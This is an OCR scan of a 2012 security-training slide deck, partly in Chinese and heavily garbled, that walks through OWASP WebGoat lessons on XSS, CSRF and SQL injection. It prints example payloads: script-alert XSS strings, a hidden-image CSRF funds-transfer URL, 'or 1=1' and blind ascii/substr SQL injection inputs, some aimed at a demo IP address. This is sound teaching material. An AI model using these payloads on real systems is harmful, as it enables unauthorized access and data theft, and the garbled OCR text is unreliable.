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OWASP Top 10 - 2007 (Previous Version) OWASP Top 10 - 2010 (Current Version)

A2-Injection Flaws Al-Injection

A1l-Cross Site Scripting (XSS) A2-Cross Site Scripting (XSS)

A7-Broken Authentication and Session A3-Broken Authentication and Session
Management Management

A4-Insecure Direct Object Reference A4-Insecure Direct Object References
A5-Cross Site Request Forgery (CSRF) A5-Cross Site Request Forgery (CSRF)
(I\\/,Ivsr?a;le(r)nia(tj)dr A lEelis Gl eie A6 Security Misconfiguration (NEW)
A8-Insecure Cryptographic Storage A7-Insecure Cryptographic Storage
A10-Failure to Restrict URL Access A8-Failure to Restrict URL Access
A9-Insecure Communications A9-Insufficient Transport Layer Protection

Al10-Unvalidated Redirects and Forwards

(not in 2007 Top 10) (NEW)
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$username = "'SCOTT";

$password = ""'SCOTTPASSWORD”;

$sql =" SELECT * FROM USERS WHERE
USERNAME = "Susername® AND PASSWORD =
'‘$password" **;
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i WebGoatx %%

= http://webgoat.googlecode.com/files/\WebGoat-5.4-
OWASP_Standard_WIin32.zip

2. T §*WebGoat-OWASP_Standard-
5.4 Standard _WIin32.zip

3. WebGoat-OWASP_Standard-
5.4 Standard _WIn32.zip

4. B Ex#y 7webgoat.bat (7 B B Tomcatit @)
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N ’fir_/f ﬁ S URL)"
http: //Iocalhost/WeLGoat/attack
http://localhost:8080/\WebGoat/attack

m g %E;,{ e ~ T4 dﬂéﬁiguest 2 Z5 guest

The server localhost:80 at WebGoat Application
requires a username and password.
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(cont.)

m T 5% 5 > 2L T Start WebGoat |
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OwAsPWebGoatva4 | |

Thank you for using WebGoat! This program is a demonstration of common web application flaws.
The exercises are intended to provide hands on experience with application penetration testing

technigues.
The WebGoat project is led by Bruce Mayhew. Please send all comments to Bruce at
WebGoat@owasp.org.
HOWQ-SP __ ASPECT
Cpen Applicaticom Socunty njoct
he Cope oo v P ' —
WebGoat Authors
Bruce Mayhew
Jeff Williams
WebGoat Design Team V5.4 Lesson Contributers
David Andersan Sherif Koussa

Laurence Casey (Graphics)
Rogan Dawes
Bruce Mayhew

Special Thanks for V5.4

Brian Ciomei (Multitude of bug fixes)
To all who have sent comments

Yiannis Pavlosoglou

Documentation Contributers

Erwin Geirnaert
Aung Khant

VWARNING

Start WebGoat

Sherit Koussa

\While running this program, your machine is extremely

vulnerable to attack if you are not running on

localhost. If you are NOT running on localhost (de-:auﬁ configuration), You should disconnect from the
netwark while using this program.

This program is for educational purposes only. Use of these techniques without permission could |ead to
job termination, financial liability, and/or criminal penalties.
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Choose anather language: | English |Z|

" OWASP WebGoat

v5.4

Logout @ |

How to work with WebGoat

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Code Quality
Concurrency

Cross-Site Scripting (X5S)
Improper Errar Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions
Challenge

Solution Videos

Restart this Lesson

How To Work With WebGoat

\Welcome to a short introduction to WebGoat.
Here you will learn how to use WebGoat and additional tools for the lessons.

Environment Information

WebGoat uses the Apache Tomecat server. It is configured to run on localhost although this can
be easily changed. Tﬁis configuration is for single user, additional users can be added in the
tomeat-users.xml file. If you want to use WebGoat in a laboratory or in class you might need to
change this setup. Please refer to the Tomcat Configuration in the Introduction section.

The WebGoat Interface

Restart this Lesson
Enter your name in the input Feld below and press "go” to submit. The server will accept the
request; reverse the mput, and desplay it back to the user; dlusirating the basics of handhing
&n WTTP request,
The user should become familiar with the features of WebGoat by manipulating the above
battons to view hirts and selution. You have to use WebScarab for the first tme.

Enter your name: Gol

CWASS Foundation

by
s
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m Stored XSS Attacks
= Cross Site Request Forgery(CSRF)

= LAB: Cross Site Scripting
= Stage 1: Stored XSS
= Stage 5: Reflected XSS

m %3 —rﬁ.ﬂ%—rg » B ]I F & ¢ ' * Congratulations. You
have successfully completed this lesson |

Security Camp 2012 21



]],’) ! J ( JI

)i; il GRY

Stored XSS Attacks /

m A ﬁ'j’:;‘ XSS #
EZYTPF

PR F B L <script>alert("XSS Testing")</script>

) Stored XSE Athacks

’ [ Stored HIT Attocks
€« C' | @ localhost/WebGoat/atiack Bcreen=308 menu=500

€ X | @ localhast/WebGoatdattack Mnm=2

Stored X!

OWASP WebGoat V5.2

Introduction

General

Access Cantrol Flaws
A4, Security

Solution VideosIt is always a good practice to scrub all input, RY Introduction
espedially those inputs that will later be used as

parameters to 05 commands, scripts, and database queries. Itis p

impaortant for content that will be permanently stored somewhere i

Solution ¥ideosIt is always a good practice to scrub all input, Restart this Lesson
espedially those inputs that will Iater be used as

P . General parameterfs to 05 cnmrﬁandsn écmpts, and da}tabasedqueries yit is par’tr\jcular\yl_
uthentication Flaws impaortant far content that will be permanently stored somewhere in the application.

Buffer Overflows gjs'lgnr;dsgﬁuﬁggstl?EESSEED;%SE?EE”?:;fggglgi’;ﬁg;ghﬁﬁgﬁﬂlﬁ;sg Access Contral Flaws Users should not be able to create message content that could cause another user

Code Quality retrieved to load an undesireable page or undesireable content when the user's message is

Concurrency ! A15% Securit retrieved,

Cross-Site Scriphing ¥

x5S .
¢ Phl?shin with 55 Title: Hello Asuthentication Flaws * Congratulations. You have successfully completed this lesson.
Emshing with A5
Message:

LAB; Cross Site Scripting, Buffer Overflows
Title:

Stage 1: Stored 55
Stage 2: Block Code Quality Message: XSS Testing —

Stored 55 using
Input Yalidation Concurrency

Stage 3: Stored X358
o . Cross-Site Scripting
Submit %)

<scriptralert ("33 Testing")</scripts>

Revisited

Staze & Block Denial of Service

Stored XG5 usin; . I
Output Encoding i —
utput Encoding Message List Improper Error Handling

Stage B: Reflected Hello

54

Stage 6: Block

Reflected 55
Stored K55 Attacks
Cross Site Request
Forgery [CSRF
Reflected ¥55 dttacks

Injection Flaws Message Contents For: Hello
ASPEGT) Title: Hello

Insecure Communication Message:

OWASP Foundation | Project WebGoat | Report Bug Insecure Corfiquration
Insecure Storage
HTTPOnby Test Parameter Tampering

Cross Site Tracing (5T
Attacks Session Management =]

Security C_amp 2012 22




Stored XSS Attacks (cont.)

n { TR B S AR O~ Scriptig iz o

[ Stored XSS Attacks

[ wiew-somree Jocalhost Wehbid ..

« C | © localhost/WebGoathatiack Mam= C' | © view-sourcelocalhost/WebGoatattack Mum=2
- : I S v e e a4 S r T
527 Message Contents For: Hello
528 </hlr<table cellpadding='0' cellspacing='0"' border='0"'>
529 <LE>
530 <td>
Stored XSS Attack K <b
OWASP WebGoat V5.2 53z Title:
— 433 < b
én;:;%?glmon Solution Videoslt is always a good practice to scrub all input, Restart this Lesq 534 </t
especially those inputs that will later be used as
i]cgisss CDI’]EI’D| Flaws parameters to OS5 commands, scripts, and database queries. It is particularly 535 <rds
Authen?:icggilzign Pl important for content that will be permanently stored somewhere in the applicatiof]l 536 Hello
Buffer Ovarflows Users should not be able to create message content that could cause another usgl 597 cfnds
] to load an undesireable page or undesireable content when the user's message is
Code Quality retrieved 538 <ftrr
Concurrency *
Cross-Site Scripting 534 LT
(x55) * Congratulations. You have successfully completed this lesson.
Denial of Service ) v # B 540 <td>
Improper Errar Handling a41 <h=
Injection Flaws Title: .
Insecure Communication 5 542 Hessage:
Insecure Configuration Message: 543 <fhx
Insecure Storage
Parameter Tampering 544 </ td>
Session Management ad5 <t
Flaws ) 546
web Services
gﬂm|||n Functions 547 </ td>
allenge
Sub’mit| 548 </trs
5449 <tr>
Message Contents For: Hello 550 <td>
Title: Hello 551 Posted By:
Message:
Posted By:guest 552 <frd>
653 <t
Message List 554 guest
Hello
. 545 </ td>
ASPECT 556 </ tEx
ApplestionsecurtySpecell] 557 | </ tabler<hr><hls
OWASP Foundation | Project WebGoat | Renort Bug = WebCoat-5.2 | | 2| Tomeat | ‘ 2| &) @D FFos4s

Security Camp 2012
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ross Site Request Forgery(CSRF)

s AT TRE - B (IxLpixel) s B Ee
+-(Malicious Request) -
v _F transferFunds=4000

A B >~
Z» '%E'”@“z‘é—?i_
T B G 7&:@,3»%

[ Cross Site Request Forgery (..

I—L%

€« C' | O localhost/WebGioat/attack Tcreen =08 menn=900 w A

Logout e

Cross Site Request Forgery (CSRF)

OWASP WebGoat V5.2

Introduction

General

Access Control Flaws
AlAx Security
authentication Flaws
Buffer Dverflows
Code Quality
Concurrency
Cross-Site Scripting
[(¥55)

Phishing with %55
LAB: Cross Site Scripting
Stage 1: Stored 55

Stage 2 Block
Stored 355 using
Input Walidation
Staze 3. Stored XS5
Revisited

Stage 4 Block
Stored ¥55 using
Output Fncoding

Stage 5 Reflected
X550

Stage 6: Block
Reflected X55

@ Stored X55 Attacks
Cross Site Request
Forgery [C5RF
Reflected %55 Attacks

HTTPOnby Test
Cross Site Tracing (X5T!

Frv

Security Camp 2012

Solution VideosYour goal is to send an email to a newsgroup Restart this Lesson
that contains an image whose URL is pointing to
a malicious request, Try to indude a 141 pixel image that |nc|udes a URL. The URL
should point to the CSRF lesson with an extra parameter "transferFunds=4000", You
can copy the shorteut from the left hand menu by right clicking on the left hand menu
and choosing copy shortcut, Whoever receives this email and happens to be
authenticated at that time will have his funds transferred, When you think the attack
is successful, refresh the page and you will find the green check on the left hand side
menu.

Title:

Message: <img sre=http://localhost/WebGoat/attack?
Soreen=9&wenu=900&cransferFunds=34000 width=1 height=1>

Submit |

Message List

Created by Sherif Koussa mm

OWASP Foundation | Project WebGoat | Report Bug




LAB: Cross Site Scripting

= Stage 1 : Stored XSS

n AR Ee B D A4 TR kAP 7 3 XSS5 gk
1 (Tom)iZ B 53 8L > @ X 4 T IRICBE A
(Jerry) < 3| ot s & o

[7) LAB: Cross Sife Seripting ) LAB: Cross Sits Seripting

& €' | © localhostWebGica atiack Formen=33Emeni=900 « X | @ localhost/ WebGoat/attack TSereen=338 menu=000 vel A
) LAB: Cross Site Scri|
OWASP WebGoat V5.2
Intodliedon Solution VideosStage 1: Execute a Stored Cross Site Scripting  Restart thi Introduction
General 5 (X25) Sttack Solution VideosStage 2: Block Stared XS5 using Input Validation, Restart this Lesson
Access control Flaws s
AJAX Security a2 TOIT, BRacls abtored 458 sttack against theibrraet fisld e FALRIG)  general THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
Authentication Flaws page. Verify that Jerry' is affected by the attack.
The passwaords for the accounts are the prenames. .
Buffer Overflows Access Control Flaws Implement a fix to block the stored XSS hefore it can be written to the database.
Code Quality Repeat stage 1 as 'Eric’ with 'David' as the manager. Verify that 'David' is not affected
Concurrency £08% Security by the attack.
Cross-Site Scripting W
6is ¢, Goat Hills Financial S e von etes Stored xe
Phisfring with X35 - Human Resources HEIERECSESn EEE * Wneull:na|1:': t'::g‘lglskestnr:rxss using Input Validation
LAB: Cross Stte Soripting = Buffar Overfl
Welcome Back Tom - uiter Overtlows
Stage 1: Stored X5 i ]
Stage 21 Block First Mame:  [Tom LIzt Cat Code Quality
Stored X55 using l Name: I
‘sﬂ%xss Street: [Z217 RiperThiead R <sd City/State: [Hew Vork, HY Coneurrency
tage 3: Store
% . Welcome Back Jerry
Rbiiitad phone:  [s3esrez start Date: 1011959 FiSes-Site Scripting
e Hoct = I [Fonon Denial of Service Fret plamai Jom
2hored Aoa USINE S5N: - 14 Salary: .
S i Enoaidin Y Street: 2211 HyperThread Rd.
Stage 5: Reflected Credit Card; [54513608567966521 Credit _  [30000 Improper Errar Handling
355 Card Limit:
Stage 6: Block Comments: |Cu-0wmer Manager: [Tom Cat =] Injection Flaws
Reflected 358 P
oz Biscioiaan Insecure Communication
® ciorea xss attacks Disciplinary i e |
™ Explanation: Dates: Insecure Configuration
Cross Site Reguest e
Eorzery [CIRF] Insecure Storage
[ ViewProfile | UpdateProfile Logout
Att?—fge':wd L | £ g | Parameter Tampering
SITE00ly Tast Session Management -

Security Camp 2012
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LAB: Cross Site Scripting (cont.)

Security Camp 2012

= Stage 5 : Reflected XSS

-I?‘cif*’ﬁ’?ﬂ’* -G Hq*’l‘ﬁfﬁ}\‘ﬁ'j@é‘» ) 3% B R 12 R
IR B3 BRSOl giE R ’*ﬁ °

m BlFEF PO <scr|pt>alert(XSS)</script>
RIFAL S BEZ 0 C AR S OF R Y H MR

(0]
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i Injection Flawsrz # 3 ¥

= Blind SQL Injection (GLEF (2 %)
= Numeric SQL Injection
= String SQL Injection
= LAB: SQL Injection
= Stage 1: String SQL Injection
= Stage 3: Numeric SQL Injection

n iRdnT ﬁ%l ~z g B3 mE e ¢ T *Congratulations. You
have successfully completed this lesson |

Security Camp 2012 28
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i Blind SQL Injection

n 53ESQLF 2 0 7 FRI TR E T 0 blde 1 bR
EE o
s Hint :
= Ascil Values: 'A'=65, 'Z'=90, 'a'=97, 'z2'=122

EP; 5‘pin3?$i%< P name % ﬁ,m;ﬁ(ﬁi » B E dp
J& ecc_number=4321432143214321 -

Security Camp 2012 29



) x

P56

1
A
e ) J

— x’
8 AT Dmations nyu sEnterEth Gl
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Blind SQL Injection (cont.

n 35 dBtrial and erroren= ;0o 3 N FRLA P gE gL

. AR D
= 101 AND (ascii( substr((SELECT first_ name FROM
user_data WHERE userid=15613) ,1,1) ) =74);

[™) Blind $QL Injection
€ C' | @ localhost/WebGoat/attack Tcreen=27&menu=1200 X[

Solution VideosThe form below allows a user to enter an account number and Restart this Lesson
determine if it is valid or not. Use this form to develop a true /

)
-~
zf/\ Fl %}{i }i l’,}gé‘J E\ F' %}{i false test check other entries in the database. |
_— A} A}

Reference Ascii Values: 'A' = 65'Z' = 90 'a’ = 97 'z’ = 122

The goal is to find the value of the first_name in table user_data for userid 15613. Put the discovered
name in the form to pass the lesson. Only the discovered name should be put into the form field,
paying close attention to the spelling and capitalization.

Enter your Account Number: |101 AND (ascii( substr(({ = Gol

Account number is valid
By Chuck Willis

Secu rity Cam p 20 12 OWASP Foundation | Project WebGoat | Report Bug I>ILI 30




Numeric SQL Injection

153

m #cF A i enSQL Injection o

Security Camp 2012

/ ° = "\'

o AR b LR

D Mumeric 2QL Injection

c ® localhosta"WebGo_atz"attack?Screen:ﬁ'?&menu:1200

&

OWASP WebGoat V5.2

Introduction

General

sccess Control Flaws
A1A¥ Security
suthentication Flaws
Buffer Overflows

Code Quality
Concurrency
Cross-Site Scripting (XS5)
Denial of Service
Improper Error Handling
Injection Flaws

Command Injection

* Blind 5L Injection
Mumeric 5QL Injection
Log Spoofing
¥PATH Injection
LAB: S0L Injection
Stage 1¢ String 5QL
Injection
Stage 2t Parameterzed
Query #1
Stage 3 Mumeric 501
Injection
Stage & Parameterzed
ue

Strng SOQL Injection

Database Backdoors

Insecure Communication
Insecure Configuration
Insecure Storage
Parameter Tampering

Solution YideosSQL injection attacks represent a serious threat to any Restart this Lesson
database-driven site. The methods behind an attack are

easy to learn and the damage caused can range from considerable to complete system

compromise, Despite these risks, an incredible number of systems on the internet are susceptible

to this form of attack.

Mot only is it a threat easily instigated, it is also a threat that, with a little common-sense and
forethought, can easily be prevented,

It is always good practice to sanitize all input data, especially data that will used in 0S5
command, scripts, and database queiries, even if the threat of SQL injection has been prevented
in same other manner,

General Goal{s):

The form below allows a user to view weather data. Try to inject an SQL string that results in all
the weather data being displayed.

Select your local weather station: |Columbia ']
Gol

SELECT * FROM weather data WHERE station = 101

STATIOI\I”NAME STATE|MIN_TEMP|MAX_TEMP

101 |[columbialmo |[F1o 102

OWASP Foundation | Project WebGoat | Report Bug
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Numeric SQL Injection (cont.)

.ﬁl g Mﬁ_ﬁ

s SELECT * FROM weather_data WHERE station = 101

Security Camp 2012

2

5 &

v

.
\J

) EL =X
~E R

or1=1

[ Numeric SQL Injection

cC | ® localhosu‘\ﬁfeb(}o_at-’attack TSereen=07E&menn=1200&station=101%200r %20 1=1
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Introduction

General

Access Control Flaws
AJAK Security
Authentication Flaws
Buffer Overflows

Code Quality
Concurrency
Cross-Site Scripting (#55)
Denial of Service
Irmproper Error Handling
Injection Flaws

Command Iniection

Blind 50L Injection

¥ Mumeric 5OL Injection
Log Spoofing

HPATH Injection

L&E: 5QL Injection

Staze 1: String SOL
Injection

Stage 2: Parameterized
ue

Stage 3t Mumerc S0L

Iniection

Stage & Parameterized
Query #2

String SQL Injection

Database Backdoors

Insecure Communication
Insecure Configuration
Insecure Storage
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions

Challenge

Solution YideosSQL injection attacks represent a serious threat to any Restart this Lesson
database-driven site. The methods behind an attack are

easy to learn and the damage caused can range from considerable to complete system

compromise, Despite these risks, an incredible number of systems on the internet are susceptible

to this form of attack.

Mot only is it a threat easily instigated, it is also a threat that, with a little common-sense and
forethought, can easily be prevented.

It is always good practice to sanitize all input data, especially data that will used in 0S
command, scripts, and database queiries, even if the threat of SQL injection has been prevented
in some other manner,

General Goal{s):

The form below allows a user to view weather data. Try to inject an SQL string that results in all
the weather data being displayed.

* Gongratulations. You have successfully completed this lesson.
* Bet you can't do it again! This lesson has detected your successfull attack and has now
switched to a defensive mode. Try again to attack a parameterized query.

Select your local weather station: |Co\umbia ']

Col

SELECT # FROM weather data WHERE station = 101 or 1=1
STATION|NAME STATE||MIN_TEMP||MAX_TEMP
101 Columbia MDD -10 102

102 Seattle WA -15 a0

103 MNew York MY -10 110

104 Houston TH 20 120

10001 Camp David §ale] -10 100

11001 Ice Station Zebra||Na& -60 30

OWASP Foundation | Project WebGoat | Report Bug
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String SQL Injection /

m F B A i «3SQL Injection -
" ThAL e B

[ String S0L Injection

€« (@] localhostWebGo_au’attack TScreen=58&menu=1200

String S

LSP WebGoat V5.2 <1 Hints > Show Param: A Canllse™ STan

QL Injection

Solution VideossL injection attacks represent a serious threat to any database- Restart this Lesson

A driven site. The methods behind an attack are easy to learn and

St the damage caused can range from considerable to complete system compromise, Despite these risks,
e an incredible number of systems on the internet are susceptible to this form of attack,
s

Mot anly is it a threat easily instigated, it is alzo a threat that, with a little commoaon-sense and
forethought, can easily be preventsd.

pting (XSS) It iz always good practice to sanitize all input data, espedialy data that will used in 0% command, scripts,
eH i and database queiries, even if the threat of SQL injection has been prevented in some other manner.
andling
General Goal(s):
il
= The form below allows a user to view their credit card numbers, Try to inject an SQL string that results
o in all the credit card numbers being displayed. Try the user name of 'Smith'.
hjection
L Injection Enter your last name: |Smith Gol
hn SELECT * FROM user_data WHERE last name = "Smith’ i
¢
-o0 USERID|FIRST_NAME|LAST_NAME|CC_NUMBER CC_TYPE|COOKIE|LOGIN_COUNT
e 102 |John Smith 2435600002222|MC 0
ARl 102 |Pohn Smith 4352209902222[]AMEX 0
meric SOL

1 OWASP Foundation | Project WebGoat | Report Bu
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String SQL Injection (cont.)
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s SELECT * FROM user_data WHERE last_name =

'Your Name' or '1'="1"
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String SQL Injection
Parameterized
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L

Parameterized
z

JL Injection

sckdoors

mmunication
[figuration

rage

ampering
agement Flaws
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ions

€ C' | © localhost/WebGoat/attack 25creen=58& menu=1200

General Goal(s):

The form below allows a user to view their credit card numbers, Try to inject an SQL string that results

in all the credit card numbers being displayed. Try the user name of 'Smith',

* Congratulations. You have successfully completed this lesson.
* Bet you can't do it again! This lesson has detected your successfull attack and has now
switched to a defensive mode. Try again to attack a parameterized query.

Enter your last name: [Smith’ or '1'="1 Gol
SELECT * FROM user_data WHERE last name = "Smith® or "17=71"
USERID|FIRST_NAME|LAST_MNAME|CC_NUMBER CC_TYPE|COOKIE|LOGIN COUNT
101 Joe Snowve 987654321 WISA 8]
101 Joe Snowv 223420006541 1|MC 8]
102 Johin Srith 2435600002222\ MC 8]
102 John Srith 4552209902222 AMIEX 0
103 Jane Plane 123456789 M 8]
103 Jane Plane 333498703333 |AMEX 8]
10312 |Joll Hershe 176896739 MC 8]
10312 |Jolly Hershey 333300003333 |AMEX 8]
10323 ||Grumpy Wi hite 673834489 M 8]
10323 ||Grump White 33413003333 ANMEX 8]
15603 ||Peter Sand 123609789 MC 8]
15603  ||Peter Sand 338893453333 |AMEX 8]
15613 |Joesph Sormething 33843453533 |AMEX 8]
LA L R W Al ik ) =il e g e
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LAB: SQL Injection ’
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€« C' | © localhost/WebGoat/attack Pcreen=54& menn=1200&Restart=54 v A

OWASP WebGoat V6.2

Introduction

General

sccess Control Flaws
AlAK Security
Authentication Flaws
Buffer Overflows

Solution YideosStage 1: Use String SQL Injection to bypass Restart this Lesson
authentication. Use SQL injection to log in as the boss

('Meville") without using the carrect password. Verify that Meville's profile can be viewed and that

all functions are available (including Search, Create, and Delete).

Code Quality "
ross-oie & © Goat Hills Financial
Cross-Site Scripting (#X55) ¥ “t s m
Denial of Service lﬁ Human Resources
Improper Error Handling
Injection Flaws P
m -
Command Injection [ — ]
¢ Blind 5QL Injection
¢ Mumeric 50 Injection mwﬂ‘ﬂ
Log Spoofing [Meville Bartholomew (admin) 7]
HPATH Injection S IT -
LéB: S0L Injection
Stage 1: String SQL Login |
Injection
Stage 2 Parameterized
Query #1
Stage 3 Mumerc S0L
Injection
Secu rit Ca 20 12 Stage 4 Parameterized
DQuery #2
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LAB: SQL Injection (cont.)

= Stage 3 : Numeric SQL Injection
m Larry41| * SQL Injectionss g » % i 3

21 s #,J:ﬁg;%’yizzﬁ;”};:io

s

s
=
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OWASP WebGoat V5.2

Introduction
General

Solution VideosStage 4 Block SQL Injection using a Parameterized Query. Restart this Lesson
Implement a fix to block SQL injection into the relevant

Access Control Flaws parameter. Repeat stage 3. ¥erify that access to Meville's profile is propetly blocked.

Al Securty
Authentication Flaws
Buffer Overflows

Code Qualit W
Sl Goat Hills Financial

Cross-Site Scripting (%S5) m Human Resources

Denial of Service

Impraper Errar Handling == Welcome Back Larr

Injection Flaws II‘IM" : = ]
Command Injection First Mame: Larry Last MName: Stooge
® i 500 Injection Street: 9175 Guilford Rd City/State: Henat
o Phone: 443-689-0192 Start Date: 1012000

Mumeric 5QL Injection
SSH: 386-09-5451 Salary: 55000

Log Spoofing,

Credit Card: 2578546969853547 Credit Card Limit: 5000
et Injcstion Does not work well with
L&E: SOL Infection comments: Sihar Manager: 10z

Stage 1: Strinz SOL Disciplinary Constantly harassing Disciplinary Action
Iniection Explanation: coworkers Dates:
Stage 2: Parameterized
Query #1

10106

Stage 3 Mumeric SOL
Iniection

Stage 4: Parameterized
Query 2

& String SOL Infection

ListStaff | EditProfile | Logout .
Datahase Backdoors
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A ((1)
TR PN
v l.aie:ru.ﬁjﬁqmy‘

i XSS+ o5 ¥ P+ 2
n 5ERRPIF P 0 RIFAR BT € 34 (7 script
n F R RREF P
= <script>alert(XSS)</script>
s "> <script>alert(XSS)</script>

=" onMouseOver=alert('XSS') "
s </TextArea><script>alert("XSS")</script>
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PWISEENEx,
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R B el

m Ex1 : vl 1.php?xss=Al<script>alert(XSS)</script>

[ SEmkBiE,

E‘SQE&GE}E'{ o[ view-source:140.116.163.28.., =

€ > C |0 140'_116'163'28"\’1(“’1—1'1?111’?’ C | © view-source:140. 116, 163,28/ /w11 php Tess=A L <script=alert("xss " <fscript= w A
BEEABRLEHE » SR sl |
mlx
3| <head:>
4| <meta http-equiv="Content-Type™ content="text/html:; charset=utf-g" />
5 etitle-FFREBlEt</ it les
B head
7 |<body>
FlELl<scriptralert ("x35") </script-35EHAE « SEE A BB <font
color="#FFO000": £#60; scriptralert (Mxss™) 60 /scripts</ font-Ea#Mvas 78
9 )</ body>
10 TEmT
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A2_SQL Injection

A_EEEETT
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A10_fEinfERE

AY_THEFEEH

TREESHE
fgHand 1="1Edand 1=2#EFEFEESCL InjectionZ5Eh

w5 e AR U1 00 55 5 w5 e AR U100 55 5
BRELLTE BREL7E

A1_Cross-Site Script )

A> TREEEE]
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N [ SR ABESOL InjectiongGEs
ﬁﬁﬁﬁﬁﬁﬁ1o]ﬁ%§% < C | © 140.116.163.28/242 3. php Htype=vmlnerableand %20'1'="2 1% | N
[BEEL L 1A
A1_Cross-Site Script
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i Reference

» OWASP-WebGoat Project

= hitps://www.owasp.org/index.php/Category:OWAS
P WebGoat Project

x OWASP - Cross-site Scripting (XSS)

= hitps://www.owasp.org/index.php/Cross-
site Scripting (XSS)

s OWASP - SQL Injection
= hitps://www.owasp.org/index.php/SQL injection
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i Appendix — Hints of XSS (1/2)

m Stored XSS Attacks @ F — Rl Escriptern~ F &%
BN

= Cross Site Request Forgery(CSRF) : ¥ % ¢ £ 7
-~ B o <) 51Xl ® B Y s ptlesson

HURLT 7 7 %7 ¢F ch4-FictransferFunds=4000 -
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i Appendix — Hints of XSS (2/2)
= LAB: Cross Site Scripting
= Stage 1: Stored XSS : i * Tom% » > & i A F
FLEE A Tte ~oscriptF ¢ sRJerry & 5 Tom i

«}J.EEE.—:’ 731 J:EC‘? )
a Stage 5: Reflected XSS : £ #FxfF =~ Ei%l ~ Script
FE oo
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Appendix — Hints of SQL Injection /
(1/2)

= Numeric SQL Injection DR ﬁi%l ~ITHZ P
» Z I PR 2R SP o % A 393E 2 40T AT
s SELECT * FROM weather _data WHERE station =
101 or 1=1
. String SQL Injection @ 7 % xt 5| ﬁ;f] »ITHEF R
IR o L i RS- S T B39 3% 40T AroT

s SELECT * FROM user_data WHERE last_name =
Your Name' or '1'="1"
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Appendix — Hints of SQL Injection - .
/
(2/2)

= LAB: SQL Injection
s Stage 1: String SQL Injection : & % *if i B F
A M E N ke eI T £ e
= password=abc' or '1'="1
= Stage 3: Numeric SQL Injection : i51#*2 4 39 X F
(Neville) s Tt o j& e nt 5] £ o
» 101 OR 1=1 ORDER BY salary desc
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